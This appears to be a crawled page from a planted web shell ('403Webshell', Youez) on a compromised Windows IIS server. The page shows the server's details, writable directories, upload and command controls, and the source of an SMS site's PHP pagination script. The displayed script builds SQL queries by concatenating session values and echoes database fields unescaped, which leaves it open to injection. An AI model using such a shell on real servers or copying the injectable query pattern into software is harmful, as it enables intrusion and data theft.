403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/sms4real.com/wwwroot/pageclass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/sms4real.com/wwwroot/pageclass/fetch_pages.php
<?php

include("config.inc.php"); //include config file
session_start();
//sanitize post value
$page_number = filter_var($_POST["page"], FILTER_SANITIZE_NUMBER_INT, FILTER_FLAG_STRIP_HIGH);
//$page_number=1;
//$item_per_page=1;
//validate page number is really numaric
if(!is_numeric($page_number)){die('Invalid page number!');}

//get current starting point of records
$position = ($page_number * $item_per_page);

//Limit our results within a specified range. 
$all = $_SESSION['printvar'];
$fromlogs = $_SESSION['fromlogs'];
$tologs = $_SESSION['tologs'];
$phonenumber = $_SESSION['phonesearch'] ;
$searchempty = $_SESSION['searchempty'] ;
$all ="all";

 if ($all == "all") {
  $query ="SELECT DATE_FORMAT(dateused,'%d-%m-%Y') as dateused,phonenumber, message,status,failurereason FROM messagesent  where username ='" . $_SESSION['username']. "' order by sn Desc LIMIT $position, $item_per_page";
  
$results = mysqli_query($connecDB,$query);
}
else
{
if ($all == "mdate" ){
//echo "select DATE_FORMAT(dateused,'%d-%m-%Y') as dateused, phonenumber, round(amount,2) as amount,round(oldbal,2) as oldbal,round(amtcharged,2) as amtcharged,round(a.newbal,2) as newbal,round(sarcom,2) as sarcom from airsentlogs as a , airtimelogs as b where a.transid = b.transid and status ='0' and email ='". $_SESSION["saremail"] . "'  and  date_format(datesent,'%d/%m/%Y') >='". $fromlogs. "' and date_format(datesent,'%d/%m/%Y') <='". $tologs. "' order by a.sn Desc ";


$results = mysqli_query($connecDB,"select DATE_FORMAT(dateused,'%d-%m-%Y') as dateused, phonenumber, round(amount,2) as amount,round(oldbal,2) as oldbal,round(amtcharged,2) as amtcharged,round(a.newbal,2) as newbal,round(sarcom,2) as sarcom from airsentlogs as a , airtimelogs as b where a.transid = b.transid and status ='0' and email ='". $_SESSION["saremail"] . "'  and datesent >='". $fromlogs. "' and datesent <='". $tologs. "' order by a.sn Desc LIMIT $position, $item_per_page");
}
else
{

$results = mysqli_query($connecDB,"select DATE_FORMAT(dateused,'%d-%m-%Y') as dateused, phonenumber, round(amount,2) as amount,round(oldbal,2) as oldbal,round(amtcharged,2) as amtcharged,round(a.newbal,2) as newbal,round(sarcom,2) as sarcom from airsentlogs as a , airtimelogs as b where a.transid = b.transid and status ='0' and email ='". $_SESSION["saremail"] . "' and phonenumber ='" . $phonenumber . "' order by a.sn Desc LIMIT $position, $item_per_page");
}

}

if ($searchempty ==""){
//header
echo '<table border="1" class="page_result" align ="center" width ="95%">';
echo '<tr><th><span class="page_name">Datesent</span></th><th><span class="page_name">Phonenumber</span></th><th><span class="page_name">Message</span></th><th><span class="page_name">Status</span></th><th><span class="page_name">Failure Reason</span></th></tr>';


}

//output results from database
 $cnt1 = 0;
echo '<ul class="page_result">';
while($row = mysqli_fetch_array($results))
{

 $cnt1++;
  //  echo $row["description"];
echo '<tr id="item_'.$row["sn"].'" align ="center">'. '<td><span class="page_name'. $cnt1.'">'.$row["dateused"].'</span></td>'. '<td><span class="page_name'. $cnt1.'">'.$row["phonenumber"].'</span></td>'.'<td><span class="page_name'. $cnt1.'">'.$row["message"].'</span></td>'. '<td><span class="page_name'. $cnt1.'">'.$row["status"].'</span></td>'. '<td><span class="page_name'. $cnt1.'">'.$row["failurereason"].'</span></td></tr>';
if ($cnt1 > 1) $cnt1 = 0;
}


//echo '</ul>';
echo '</table>';
?>


Youez - 2016 - github.com/yon3zu
LinuXploit